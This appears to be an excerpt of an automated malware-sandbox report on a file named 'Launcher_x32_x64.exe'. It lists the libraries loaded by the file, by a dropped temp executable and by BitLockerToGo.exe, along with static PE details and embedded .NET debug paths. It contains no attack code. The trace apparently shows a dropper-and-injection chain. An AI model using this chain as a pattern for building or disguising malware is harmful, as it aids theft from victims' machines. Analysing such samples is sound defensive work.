Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: icu.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: wshunix.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Temp\4ud5if5k.0ze.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Temp\4ud5if5k.0ze.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Temp\4ud5if5k.0ze.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Temp\4ud5if5k.0ze.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Temp\4ud5if5k.0ze.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Temp\4ud5if5k.0ze.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\Temp\4ud5if5k.0ze.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Launcher_x32_x64.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Launcher_x32_x64.exe

Static file information: File size 62256356 > 1048576

Source: Launcher_x32_x64.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x53ca00
Source: Launcher_x32_x64.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x139400
Source: Launcher_x32_x64.exe	Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x134200

Source: Launcher_x32_x64.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Launcher_x32_x64.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Launcher_x32_x64.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Launcher_x32_x64.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Launcher_x32_x64.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Launcher_x32_x64.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Launcher_x32_x64.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: Launcher_x32_x64.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: System.Net.Sockets.ni.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1833876636.000000000E4A0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1833941119.000000000E521000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel.Annotations\Release\net8.0\System.ComponentModel.Annotations.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Globalization.Calendars/Release/net8.0-windows/System.Globalization.Calendars.pdbSHA256y source: Launcher_x32_x64.exe
Source:	Binary string: System.ComponentModel.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.Pipes\Release\net8.0-windows\System.IO.Pipes.pdbSHA256T source: Launcher_x32_x64.exe
Source:	Binary string: System.IO.FileSystem.DriveInfo.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Contracts\Release\net8.0\System.Diagnostics.Contracts.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Cryptography\Release\net8.0-windows\System.Security.Cryptography.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1821107705.000000000CC30000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1821619144.000000000CE01000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.Immutable\Release\net8.0\System.Collections.Immutable.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime\Release\net8.0\System.Runtime.pdbSHA256 source: Launcher_x32_x64.exe, 00000000.00000002.1819654142.000000000AD10000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Net.Security.ni.pdb source: Launcher_x32_x64.exe, Launcher_x32_x64.exe, 00000000.00000002.1820869663.000000000CAF0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1820979803.000000000CB91000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel.EventBasedAsync\Release\net8.0\System.ComponentModel.EventBasedAsync.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.NonGeneric\Release\net8.0\System.Collections.NonGeneric.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.IO.MemoryMappedFiles.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Data/Release/net8.0-windows/System.Data.pdbSHA256> source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\System.Private.CoreLib\x86\Release\System.Private.CoreLib.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1817950421.00000000098D1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1817301885.0000000008CD0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Principal.Windows\Release\net8.0-windows\System.Security.Principal.Windows.pdbSHA256 source: Launcher_x32_x64.exe, 00000000.00000002.1834663564.000000000EAE1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834617042.000000000EAB0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\windows.x86.Release\dlls\mscordac\mscordaccore.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Formats.Tar.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.ThreadPool\Release\net8.0\System.Threading.ThreadPool.pdbSHA256^ source: Launcher_x32_x64.exe, 00000000.00000002.1834219419.000000000E610000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1832317142.000000000D2A0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.ComponentModel.EventBasedAsync.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Http\Release\net8.0-windows\System.Net.Http.pdbSHA256 source: Launcher_x32_x64.exe, 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1819406365.000000000AB50000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Private.Uri\Release\net8.0\System.Private.Uri.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1823830750.000000000D011000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1822713713.000000000CFD0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Primitives\Release\net8.0-windows\System.Net.Primitives.pdb source: Launcher_x32_x64.exe, Launcher_x32_x64.exe, 00000000.00000002.1820113775.000000000AEE0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1820163618.000000000AF31000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Diagnostics.FileVersionInfo.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Dynamic.Runtime/Release/net8.0-windows/System.Dynamic.Runtime.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Collections.Specialized.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Collections.NonGeneric.ni.pdb@- source: Launcher_x32_x64.exe
Source:	Binary string: BitLockerToGo.pdb source: 4ud5if5k.0ze.exe, 00000001.00000002.1894150698.0000000003F4C000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1882156226.0000000002F15000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading\Release\net8.0\System.Threading.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1832317142.000000000D2A0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1832370982.000000000D2C1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Diagnostics.Tools/Release/net8.0-windows/System.Diagnostics.Tools.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel\Release\net8.0\System.ComponentModel.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.TextWriterTraceListener\Release\net8.0\System.Diagnostics.TextWriterTraceListener.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.IO.UnmanagedMemoryStream/Release/net8.0-windows/System.IO.UnmanagedMemoryStream.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.Win32.Primitives\Release\net8.0\Microsoft.Win32.Primitives.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.IO.FileSystem.Primitives/Release/net8.0-windows/System.IO.FileSystem.Primitives.pdbSHA256C source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Runtime.Serialization/Release/net8.0-windows/System.Runtime.Serialization.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1819654142.000000000AD10000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Threading.ni.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1832317142.000000000D2A0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1832370982.000000000D2C1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Dynamic.Runtime/Release/net8.0-windows/System.Dynamic.Runtime.pdbSHA256T/ source: Launcher_x32_x64.exe
Source:	Binary string: System.Private.CoreLib.ni.pdbd source: Launcher_x32_x64.exe, 00000000.00000002.1817950421.00000000098D1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1817301885.0000000008CD0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.InteropServices\Release\net8.0\System.Runtime.InteropServices.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1832613932.000000000D6A1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1832560553.000000000D674000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel.EventBasedAsync\Release\net8.0\System.ComponentModel.EventBasedAsync.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.NameResolution\Release\net8.0-windows\System.Net.NameResolution.pdbSHA256d source: Launcher_x32_x64.exe, 00000000.00000002.1834145533.000000000E5F1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834104783.000000000E5C0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.Concurrent\Release\net8.0\System.Collections.Concurrent.pdbSHA256f source: Launcher_x32_x64.exe
Source:	Binary string: System.Drawing.Primitives.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.ComponentModel.Annotations.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Collections.Concurrent.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.ComponentModel.Primitives.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.IO/Release/net8.0-windows/System.IO.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/Microsoft.VisualBasic/Release/net8.0-windows/Microsoft.VisualBasic.pdbSHA256P source: Launcher_x32_x64.exe
Source:	Binary string: Microsoft.VisualBasic.Core.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Formats.Tar\Release\net8.0-windows\System.Formats.Tar.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections\Release\net8.0\System.Collections.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.IO.Compression.ZipFile.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Configuration/Release/net8.0-windows/System.Configuration.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.NonGeneric\Release\net8.0\System.Collections.NonGeneric.pdbSHA256(^e source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Security\Release\net8.0-windows\System.Net.Security.pdbSHA256 source: Launcher_x32_x64.exe, 00000000.00000002.1820869663.000000000CAF0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1820979803.000000000CB91000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.Pipes.AccessControl\Release\net8.0-windows\System.IO.Pipes.AccessControl.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Threading.Timer/Release/net8.0-windows/System.Threading.Timer.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1832317142.000000000D2A0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Linq.Expressions.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Process\Release\net8.0-windows\System.Diagnostics.Process.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Diagnostics.Debug/Release/net8.0-windows/System.Diagnostics.Debug.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Overlapped\Release\net8.0\System.Threading.Overlapped.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1834088849.000000000E5B0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.Win32.Primitives\Release\net8.0\Microsoft.Win32.Primitives.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Memory.ni.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1832707797.000000000D6F1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1832665993.000000000D6C0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.ThreadPool\Release\net8.0\System.Threading.ThreadPool.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1834219419.000000000E610000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1832317142.000000000D2A0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.IO.Pipes.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Core/Release/net8.0-windows/System.Core.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Security\Release\net8.0-windows\System.Net.Security.pdb source: Launcher_x32_x64.exe, Launcher_x32_x64.exe, 00000000.00000002.1820869663.000000000CAF0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1820979803.000000000CB91000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Linq.Expressions\Release\net8.0\System.Linq.Expressions.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\windows.x86.Release\Corehost.Static\singlefilehost.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.IO.IsolatedStorage.ni.pdbz source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.Pipes\Release\net8.0-windows\System.IO.Pipes.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Net.Security.ni.pdb2 source: Launcher_x32_x64.exe, 00000000.00000002.1820869663.000000000CAF0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1820979803.000000000CB91000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.MemoryMappedFiles\Release\net8.0-windows\System.IO.MemoryMappedFiles.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.Compression.Brotli\Release\net8.0-windows\System.IO.Compression.Brotli.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Runtime.InteropServices.ni.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1832613932.000000000D6A1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1832560553.000000000D674000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.StackTrace\Release\net8.0\System.Diagnostics.StackTrace.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.IO.Compression.FileSystem/Release/net8.0-windows/System.IO.Compression.FileSystem.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: System.Net.NameResolution.ni.pdbu? source: Launcher_x32_x64.exe, 00000000.00000002.1834145533.000000000E5F1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834104783.000000000E5C0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Formats.Asn1.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Configuration/Release/net8.0-windows/System.Configuration.pdbSHA256l8 source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.FileSystem.Watcher\Release\net8.0-windows\System.IO.FileSystem.Watcher.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.IO.FileSystem/Release/net8.0-windows/System.IO.FileSystem.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Console.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Sockets\Release\net8.0-windows\System.Net.Sockets.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1833876636.000000000E4A0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1833941119.000000000E521000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel\Release\net8.0\System.ComponentModel.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.Intrinsics\Release\net8.0\System.Runtime.Intrinsics.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1834316222.000000000E800000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.IO.Pipes.ni.pdb? source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Core/Release/net8.0-windows/System.Core.pdbSHA2564- source: Launcher_x32_x64.exe
Source:	Binary string: System.Net.Http.ni.pdb source: Launcher_x32_x64.exe, Launcher_x32_x64.exe, 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1819406365.000000000AB50000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime\Release\net8.0\System.Runtime.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1819654142.000000000AD10000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.IO.FileSystem.AccessControl.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Drawing.Primitives\Release\net8.0-windows\System.Drawing.Primitives.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Principal.Windows\Release\net8.0-windows\System.Security.Principal.Windows.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1834663564.000000000EAE1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834617042.000000000EAB0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Diagnostics.StackTrace.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Collections.Specialized.ni.pdbI source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Drawing.Primitives\Release\net8.0-windows\System.Drawing.Primitives.pdbSHA256R source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.Pipes.AccessControl\Release\net8.0-windows\System.IO.Pipes.AccessControl.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Runtime.InteropServices.RuntimeInformation/Release/net8.0-windows/System.Runtime.InteropServices.RuntimeInformation.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1832560553.000000000D674000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.Compression.ZipFile\Release\net8.0-windows\System.IO.Compression.ZipFile.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Globalization.Calendars/Release/net8.0-windows/System.Globalization.Calendars.pdb source: Launcher_x32_x64.exe
